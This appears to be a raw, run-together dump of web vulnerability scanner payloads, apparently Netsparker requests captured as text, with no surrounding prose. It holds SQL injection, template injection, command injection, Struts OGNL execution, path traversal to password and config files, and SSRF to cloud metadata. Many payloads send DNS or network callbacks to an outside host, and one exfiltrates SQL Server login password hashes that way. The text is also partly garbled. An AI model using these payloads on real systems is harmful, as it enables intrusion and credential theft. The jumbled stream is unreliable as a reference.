%>/../../../../../../../../../../opt/lampp/logs/access_log{php}Smarty_Resource::parseResourceName(system("nslookup g8h41mcn54xcnoqp1bbc7rtnza-qymb58wxszwhf"."qzk.r87.me"),'b');{/php}/../../../../../../../../../../var/log/lighttpd/access.log{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup g8h41mcn54c3m47zit7bnqp9h409zgx41oki_d2f"~"wui.r87.me")}}/../../../../../../../../../../AppServ/Apache24/logs/access.log<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgZzhoNDFtY241NDZ5YjZhd2lkamdoLTdkdmdqMmxiZXUwNHVtaDd1bnFibS5yODcubWU=')})).to_s}" %><#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<${ ex("cmd.exe /c nslookup g8h41mcn54sehncxxjsv1prj_7t4qtxm3u5oihhx"+"s7a.r87.me") }/../../../../../../../../../../var/log/apache/access.logrequire 'resolv';Resolv.getaddress ("g8h41mcn54okcub25guttfhovbce0rqycr9uoabg".concat "yai.r87.me")__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgZzhoNDFtY241NGtfdmRsdmR5X21oX3J4bXRqdWV5emR1Nmh3bHZrMDM2dy5yODcubWU=')).read()hTTp://r87.com/?attack.samsclass.info///r87.com/?http://attack.samsclass.info/r87.com/?attack.samsclass.info/r87.com/?http://attack.samsclass.info/r87.com/?https://attack.samsclass.info//\r87.com/?attack.samsclass.info/
///r87.com/?attack.samsclass.info/attack.samsclass.info.r87.com/?hTTp://attack.samsclass.info.r87.com/?hTTps://attack.samsclass.info.r87.com/?//r87。com/?@r87.com
";l=document.createElement("link");l.rel="prefetch";l.href="//g8h41mcn54t_bugnbi_ebnyiiapg9eskwqajgejp"+"nda.r87.me/r/?"+location.href;document.head.appendChild(l);//';l=document.createElement("link");l.rel="prefetch";l.href="//g8h41mcn54tzy3b-qhbzbkk06nkk7vss1uaa98sz"+"yu0.r87.me/r/?"+location.href;document.head.appendChild(l);//3333%27(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)-1 OR 1=1'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'' WAITFOR DELAY '0:0:25'-- /* 4c848d1c-adc2-431a-8de2-a7841130c9d0 */-1 OR 1=1convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))1 WAITFOR DELAY '0:0:25'-- /* 40823854-ca22-4511-b1ba-f9392760780e */-1 OR 1=1'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='n3tsp4rke2-1 OR 1=1WAITFOR DELAY '0:0:25'-- /* 64a4974b-0c3d-41a3-ae40-22ec14c8bbff */-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)nxtspxrkex1) WAITFOR DELAY '0:0:25'-- /* 0e2c82ed-2fa2-40d4-8d71-2bdf883dd881 */"& SET /A 0xFFF9999-53119 &'-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'N3TSP4RKE2') WAITFOR DELAY '0:0:25'-- /* 628135b2-a606-413f-b14d-55fed5a7c722 */'& SET /A 0xFFF9999-20431 &NS-1NO-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"'"-->')) WAITFOR DELAY '0:0:25'-- /* ff491547-676d-4df6-835e-37393da2c0c3 */-1 AND 'NS='ss& SET /A 0xFFF9999-11267 &(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x00DB4B%29%3C%2FscRipt%3E-1' OR 1=1 OR 'ns'='nscast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)SET /A 0xFFF9999-85898 &1)) WAITFOR DELAY '0:0:25'-- /* 729dddc7-781b-486d-978b-97dadeb62c76 */data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDBEQjVBKTwvc2NyaXB0Pg==-1" OR 1=1 OR "ns"="nsSET /A 0xFFF9999-87936'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 6f0fc137-c137-4665-a558-cc27a515d0e8 */'" ns=netsparker(0x00DB66) (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)| SET /A 0xFFF9999-68701-1 OR 17-7=101 ns=netsparker(0x00DB72) 1";expr 268409241 - 88747;"NSFTW1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 83ee79ba-89a3-49ee-b654-2926e3b8c959 */-1 OR X='ss'>1';expr 268409241 - 10992;''+NSFTW+'-1' OR 1=1 OR '1'='11);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* c00edae4-8cab-4200-bc19-83e162b716d3 */">1;expr 268409241 - 27260;x(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)-1' OR 1=1 OR '1'='1syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 21fc4989-472b-47e5-9aa4-4e5d786ff1d8 */expr 268409241 - 36509;
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 630c86e6-25a2-40ca-a826-45635e029112 */-1" OR 1=1 OR "1"="1expr 268409241 - 53257javascript:netsparker(0x00DB7D)1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 7ebd8996-cea3-4b17-9dc2-d31d82ec13af */-1" OR 1=1 OR "1"="1((select sleep(25)))a-- 1 /* 60721f2c-e468-40b4-8de2-99756354fa07 */(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))|expr${IFS}268409241${IFS}-${IFS}57482"& ping -n 25 127.0.0.1 &*/netsparker(0x00DB80);/*(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 6386255d-a96e-4658-a4f0-e5e822180fc3 */'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'/../../../../../../../../../../boot.ini'& ping -n 25 127.0.0.1 &'+netsparker(0x00DB88)+'1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' /* c90ba5a2-df0e-4fca-b3da-55a1abc0ac88 */'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'/../../../../../../../../../../boot.ini .php& ping -n 25 127.0.0.1 &"+netsparker(0x00DB99)+"1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* 927cc572-fb33-4ec3-8566-ee36e0d4a538 */1/../../../../../../../../../../boot.iniping -n 25 127.0.0.1 &\';netsparker(0x00DBA5);///1';SELECT pg_sleep(25)-- /* 3b726fc6-33d6-4773-9fae-fd33955ccfae */file:///boot.ini-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27',netsparker(0x00DBB1),'"&ping -w 25 127.0.0.1 &"1;SELECT pg_sleep(25)-- /* a8c64c6a-0f5f-4417-9725-310519de0efa */c:\boot.ini netsparker(0x00DBB3) '&ping -w 25 127.0.0.1 &'-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1SELECT pg_sleep(25)-- /* d45d43f0-5b36-4be1-abd2-9c7980d43527 */hTTp://r87.com/nns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
netsparker(0x00DCAA);' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101)||CHAR(109)||CHAR(109)||CHAR(97) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- zDyA&ping -w 25 127.0.0.1 &1);SELECT pg_sleep(25)-- /* 6f5a3708-40a7-4d5b-b4ab-17fc847c7e2c */http://r87.com/n? .php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini'+netsparker(0x00DCAB)+'ping -w 25 127.0.0.1 &response.write(268409241-75591)'1');SELECT pg_sleep(25)-- /* c438f2fb-33b4-440a-bb0f-de120b473fbc */http://r87.com/n?.php'"@-->file%3a%2f%2f%2fboot.iniping -n 25 127.0.0.1+response.write(268409241-42574)'1'));SELECT pg_sleep(25)-- /* 0bbe707f-7d4e-4c32-9549-fa23c7c849ec */php://filter//resource=http://r87.com/n? .php%22%2bnetsparker(0x00DCB7)%2b%22c%3a%5cboot.iniping -w 25 127.0.0.1"+response.write(268409241-77895)+"r87.com/n1));SELECT pg_sleep(25)-- /* 3147b87d-8709-4ddf-b323-f5df7c91d3b0 *//../../../../../../../../../../web.config|ping -n 25 127.0.0.1<% response.write(268409241-40560) %>((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 7c62957e-23c2-41ed-8c1a-ef20b7471cf0 */{{268409241-9563}}/../../../../../../../../../../windows/win.ini
ns:netsparker056650=vuln//r87.com/?0x00DCBDhTTp://r87.com/?attack.samsclass.info/print(int)0xFFF9999-30917=268409241-97405'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 36a4a78a-fa07-477e-b74a-dce0549b33e8 */file:///windows/win.inihttp://example.com/?
ns: netsparker056650=vuln<%- 268409241-25994 %>-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 4c18ffaa-993f-4284-9b23-e641919f9e1c *//../../../../../../../../../../windows/win.ini .phpprint(int)0xFFF9999-16529;ns:netsparker056650=vulnns@mail.ns'"/>()%26%25<#assign x=268409241 - 60677>
${x?string["0"]}-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* 5e8c0991-253b-45ff-aeaf-c1e3dd8090be */c:\windows\win.ini+print(int)0xFFF9999-58601;//
ns:netsparker056650=vuln
Content-Type:text/html
<%= "#{268409241-8934}" %>-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* 1d19be27-95f7-4f95-9621-b3b73f32fef2 */...//...//...//...//...//...//...//...//...//...//...//windows/win.ini'+print(int)0xFFF9999-25888+'
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* ffc37e6f-f42f-4683-b2fb-a2f597f738db */ipt>netsparker(0x00DCC2)ipt>"+print(int)0xFFF9999-28894+".....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 314121cc-345f-4300-8b38-10ec4265eb15 */@(268409241-63002)${28275*28275-(21020)}=(int)0xFFF9999-70022;//?>. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini{{ 268409241- 39925 }}hTTp://r87.com/?attack.samsclass.info/'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* dde9f742-6cce-4460-8525-9fc5b4f5733b */{php}print(int)0xFFF9999-4642;{/php}">#{28275*28275-(19093)}(268409241-16430)/../../../../../../../../../../windows/iis6.log//r87.com/?http://attack.samsclass.info/"||NETSPARKER||'{${print(int)0xFFF9999-63302}}'//r87.com/n/j/?0x00DCC4N3tSp4rK3R]>&lfi;{{ 268409241- 31885 }}/../../../../../../../../../../proc/self/fd/2r87.com/?attack.samsclass.info/[php]print(int)0xFFF9999-87826;[/php]NS09<s1﹥DBLʺSNGLʹNS09]>&lfi;/../../../../../../../../../../proc/self/fd/2 .phphttps://attack.samsclass.info/trace.axdr87.com/?http://attack.samsclass.info/%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='96788').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}exec('xp_dirtree ''\\jh9_6ym4bpc6m1kogjnegtuqjtm_ooyusex0yywr'+'mug.r87.me'+'\c$\a''')&thisdoesntexists;/../../../../../../../../../../etc/httpd/logs/error.logr87.com/?https://attack.samsclass.info/attack.samsclass.info/trace.axdjh9_6ym4bpajhorchrxp9rwk_ansqvuzmaq_9ejx3jq.r87.meprint localtime()*0+0xFFF9999-8437 %dtd;]>&a;declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.jh9_6ym4bpbfxuon-_knzbtzwxvlxm0pjkl4me0c'+'_s4.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')/../../../../../../../../../../etc/httpd/logs/error_log/\r87.com/?attack.samsclass.info/172.67.219.198/trace.axdeval('print localtime()*0+0xFFF9999-91234')//jh9_6ym4bpepbtso6uu5omfzjkmknzp3iarwfowkvd0.r87.me1;exec('xp_dirtree ''\\jh9_6ym4bpy11opagx_zc9ov-m6fd1gahubymmgv'+'pq8.r87.me'+'\c$\a''')-- %dtd;]>&a;/../../../../../../../../../../var/log/apache2/error.log///r87.com/?attack.samsclass.info/'+print localtime()*0+0xFFF9999-43237+'http://r87.me/r/?id=jh9_6ym4bpfw0ebikjzbrhvqaicghqoecnjibyblk8s-1';exec('xp_dirtree ''\\jh9_6ym4bpxn5kdogzgw8n1rwkavxf9enhau0ouo'+'xma.r87.me'+'\c$\a''')-- %dtd;]>&a;127.100.11.2/trace.axd/../../../../../../../../../../var/log/apache/error.log'"-->"+print localtime()*0+0xFFF9999-94336+"1) exec('xp_dirtree ''\\jh9_6ym4bp-izqomuicdiganzfneyssvtyd4ycjd'+'xis.r87.me'+'\c$\a''')--http://jh9_6ym4bp11gstbhofwfftyglmi-ywcvwckwius6hh.r87.me/p//../../../../../../../../../../proc/version127.0.0.1/trace.axdattack.samsclass.info.r87.com/?
arguments[1].end(require('child_process').execSync('expr 268409241 - 88737'))1')exec('xp_dirtree ''\\jh9_6ym4bphuemyxith2vdyw8vufcbly1sijct5q'+'uam.r87.me'+'\c$\a''')--/../../../../../../../../../../proc/version .phpphp://filter//resource=http://jh9_6ym4bpudd5bmsf4vjons1hsruzo_oiknwaebgbd.r87.me/p/[::1]/trace.axd
hTTp://attack.samsclass.info.r87.com/?arguments[1].end(require('child_process').execSync('set /A 268409241 - 10358'))1))exec('xp_dirtree ''\\jh9_6ym4bpnpwiraek1k3ffbed5mzl_5oti1vno5'+'zvo.r87.me'+'\c$\a''')--/../../../../../../../../../../../etc/passwdhttps://attack.samsclass.info/elmah.axdhTTps://attack.samsclass.info.r87.com/?%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-70676)}1'))exec('xp_dirtree ''\\jh9_6ym4bppspbaqnegxnnwzvqhyeyx3em7ogu67'+'7vm.r87.me'+'\c$\a''')--jh9_6ym4bphvz4xa5aocuc-8bthg-mplwmdibold1rp.r87.me/p/file:///etc/passwdattack.samsclass.info/elmah.axd//r87。com/?syscolumns WHERE 2>3;exec('xp_dirtree ''\\jh9_6ym4bp8yeidkapj5h9hdzwetan5m6rtzmtsx'+'fmq.r87.me'+'\c$\a''')--p "#{0xFFF9999.to_i-`echo 57074`.to_i}"/../../../../../../../../../../../etc/passwd gethostbyname(trim('jh9_6ym4bp5mlqksqus7x-obui7ipuerm88nfrio'.'jf8.r87.me'))172.67.219.198/elmah.axd@r87.com";l=document.createElement("link");l.rel="prefetch";l.href="//jh9_6ym4bpy_b0csax04ag3dcl4lep3cf4fhkqzd"+"xiq.r87.me/r/?"+location.href;document.head.appendChild(l);//DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','jh9_6ym4bph6wodspvjskau-jlok1plp9mppdktj'+'now.r87.me')exec sp_executesql @r__import__('os').popen(('expr 268409241 - {0}').format('5325')).read()gethostbyname(trim('jh9_6ym4bppoeep5ch8yfvg6ijbohe05czt5lq05'.'wec.r87.me'));/../../../../../../../../../../../etc/passwd .php__import__('os').popen(('SET /A 268409241 - {0}').format('34928')).read()';l=document.createElement("link");l.rel="prefetch";l.href="//jh9_6ym4bplvu5xxuhihd7nbdhx76puglyeed6fu"+"qxk.r87.me/r/?"+location.href;document.head.appendChild(l);//127.100.11.2/elmah.axd1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','jh9_6ym4bpc2dlagpv0h15irhur-d1bf8orq09an'+'p7g.r87.me')exec sp_executesql @r--...//...//...//...//...//...//...//...//...//...//...//etc/passwd+gethostbyname(trim('jh9_6ym4bpqtpsvdycfpx0hiz-kflyfjtsm_wvac'.'wy0.r87.me'));//127.0.0.1/elmah.axd-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','jh9_6ym4bpdcjlvaf0fxu3ihtjm0lqilsmor1xdt'+'7di.r87.me')exec sp_executesql @r--....//....//....//....//....//....//....//....//....//....//....//etc/passwd'+gethostbyname(trim('jh9_6ym4bpbzmgjeu8o_vgq7ifmmj3eahhe1hkfz'.'46e.r87.me'))+'[::1]/elmah.axdSELECT dblink_connect('host=jh9_6ym4bpzkffwmedtgnu2y9ensylf6xp_2lyby'||'gbc.r87.me user=a password=a connect_timeout=2').....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd"+gethostbyname(trim('jh9_6ym4bpcstu2e50swrr-mz20jcskxv5rqalkw'.'z7q.r87.me'))+"https://attack.samsclass.info/elmahdblink_connect('host=jh9_6ym4bpzl6etfs7zerjxxielnd1dz2chkxzjl'||'_w8.r87.me user=a password=a connect_timeout=2'). . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd gethostbyname(trim('jh9_6ym4bprgvjjzx32ryiyfg0sxp7i2umkdnkw0'.'ak0.r87.me'));//?>attack.samsclass.info/elmah1/../../../../../../../../../../../etc/passwdcast((SELECT dblink_connect('host=jh9_6ym4bpnxek89bfxdcv-n74eal6o8mokd7_ai'||'dvk.r87.me user=a password=a connect_timeout=2')) as numeric)'{${gethostbyname(trim('jh9_6ym4bpuipgydfgqjmgrf9y3ht6djbhiytggz'.'af4.r87.me'))}}'172.67.219.198/elmah/etc/passwdcast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(106)||chr(104)||chr(57)||chr(95)||chr(54)||chr(121)||chr(109)||chr(52)||chr(98)||chr(112)||chr(52)||chr(107)||chr(54)||chr(97)||chr(50)||chr(45)||chr(110)||chr(109)||chr(115)||chr(122)||chr(117)||chr(98)||chr(106)||chr(120)||chr(53)||chr(121)||chr(111)||chr(103)||chr(101)||chr(103)||chr(105)||chr(117)||chr(105)||chr(113)||chr(56)||chr(53)||chr(112)||chr(105)||chr(97)||chr(101)||chr(108)||chr(114)||chr(97)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)createobject("WScript.Shell").exec("nslookup jh9_6ym4bpkw0sejmexcoxujxdjcdmju-om9yhkl" & "yhm.r87.me").StdOut.ReadAll127.100.11.2/elmah%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'||(SELECT dblink_connect('host=jh9_6ym4bpykw7fhqztlauxjiwuchfigrwv4uuuf'||'f8q.r87.me user=a password=a connect_timeout=2'))||'+createobject("WScript.Shell").exec("nslookup jh9_6ym4bpxuza_rcgzwoxw1ta5nxf9e7o-n9dnb" & "s-o.r87.me").StdOut.ReadAll127.0.0.1/elmahdata:;base64,TlM3NzU0NTYxNDQ2NTc1(select UTL_INADDR.GET_HOST_ADDRESS('jh9_6ym4bppwqohrenym0bcnqtqzrv-xk_kfkilz'||'bqm.r87.me') from DUAL)+createobject("WScript.Shell").exec("nslookup jh9_6ym4bpdu8zijshzkip6gpl0wt57kdgu27b2m" & "jc0.r87.me").StdOut.ReadAll+[::1]/elmahkeylog.php(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('jh9_6ym4bpfmlyiafzh1pjytxz16nvqd5ytoylzj'||'ldk.r87.me') from DUAL))))http://aws.r87.me/latest/meta-data/public-hostname<%createobject("WScript.Shell").exec("nslookup jh9_6ym4bp75xhat91fzqm_is6bakjucctnw7-u1" & "qvu.r87.me").StdOut.ReadAll%>keylog.php '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('jh9_6ym4bphtl5m2eqhlujwgrt6ehe2bfn9abwo1'||'kxm.r87.me') from DUAL))||'http://169.254.169.254/latest/meta-data/public-hostname"+createobject("WScript.Shell").exec("nslookup jh9_6ym4bponpdchah0orqxbv9ez9bdjbul09llh" & "61w.r87.me").StdOut.ReadAll+"WEB-INF/web.xml(select UTL_INADDR.GET_HOST_ADDRESS(chr(106)||chr(104)||chr(57)||chr(95)||chr(54)||chr(121)||chr(109)||chr(52)||chr(98)||chr(112)||chr(119)||chr(121)||chr(56)||chr(103)||chr(118)||chr(107)||chr(113)||chr(105)||chr(114)||chr(113)||chr(112)||chr(122)||chr(57)||chr(117)||chr(118)||chr(52)||chr(121)||chr(115)||chr(104)||chr(112)||chr(105)||chr(49)||chr(98)||chr(105)||chr(57)||chr(109)||chr(108)||chr(113)||chr(111)||chr(115)||chr(117)||chr(45)||chr(119)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)http://127.0.0.1:22gethostbyname(lc 'jh9_6ym4bpxqc2xul3eptbmxlxlyxl0wcmmxcqqi'.'dbc.r87.me')(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(106)||chr(104)||chr(57)||chr(95)||chr(54)||chr(121)||chr(109)||chr(52)||chr(98)||chr(112)||chr(118)||chr(54)||chr(121)||chr(56)||chr(105)||chr(105)||chr(119)||chr(109)||chr(120)||chr(103)||chr(118)||chr(112)||chr(104)||chr(97)||chr(116)||chr(57)||chr(111)||chr(98)||chr(103)||chr(116)||chr(109)||chr(109)||chr(111)||chr(97)||chr(110)||chr(121)||chr(97)||chr(120)||chr(116)||chr(108)||chr(100)||chr(121)||chr(105)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))http://172.67.219.198:22/../../../../../../../../../../WEB-INF/web.xmleval('gethostbyname(lc 'jh9_6ym4bpqrcae3rmsjdjccttphho32k5_w3stl'.'jsy.r87.me')')'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(106)||chr(104)||chr(57)||chr(95)||chr(54)||chr(121)||chr(109)||chr(52)||chr(98)||chr(112)||chr(110)||chr(110)||chr(107)||chr(49)||chr(97)||chr(113)||chr(100)||chr(109)||chr(103)||chr(95)||chr(111)||chr(122)||chr(107)||chr(107)||chr(112)||chr(105)||chr(105)||chr(51)||chr(114)||chr(113)||chr(102)||chr(54)||chr(122)||chr(113)||chr(105)||chr(118)||chr(114)||chr(102)||chr(102)||chr(98)||chr(100)||chr(57)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'http://[::1]:22/../../../../../../../../../../var/log/apache2/access.log'+gethostbyname(lc 'jh9_6ym4bp_qo4es110kudzvafgm7prcsakdtabn'.'iso.r87.me')+'http://127.0.0.1:3306/../../../../../../../../../../etc/httpd/logs/access.log"+gethostbyname(lc 'jh9_6ym4bpyaxkiywfpkh8rqw8w3vyrt6tg5rim0'.'5ti.r87.me')+"http://172.67.219.198:3306/../../../../../../../../../../var/log/nginx/access.log nslookup jh9_6ym4bp7xappyaakpp4tpaxzeqwwkj3d-glgp^2ec.r87.me&'\"`0&nslookup jh9_6ym4bp7xappyaakpp4tpaxzeqwwkj3d-glgp^2ec.r87.me&`'http://[::1]:3306/../../../../../../../../../../opt/lampp/logs/access_log& nslookup jh9_6ym4bppmmxjb0r47ixfp2y043ehmh8oznw36^rhe.r87.me&'\"`0&nslookup jh9_6ym4bppmmxjb0r47ixfp2y043ehmh8oznw36^rhe.r87.me&`'https://attack.samsclass.info/server-status/../../../../../../../../../../var/log/lighttpd/access.log'& nslookup jh9_6ym4bpynqpaynejqbwyqbrmnrnxmvvxa0cbf^i_i.r87.me&'\"`0&nslookup jh9_6ym4bpynqpaynejqbwyqbrmnrnxmvvxa0cbf^i_i.r87.me&`'http://169.254.169.254/opc/v1/instance/../../../../../../../../../../AppServ/Apache24/logs/access.log"& nslookup jh9_6ym4bprpxbf5qw5lx7ibm9rjwud9oobchd5h^pzs.r87.me&'\"`0&nslookup jh9_6ym4bprpxbf5qw5lx7ibm9rjwud9oobchd5h^pzs.r87.me&`'https://metadata.packet.net/metadata../../../../../../../../../../xampp/apache/logs/access.lognslookup 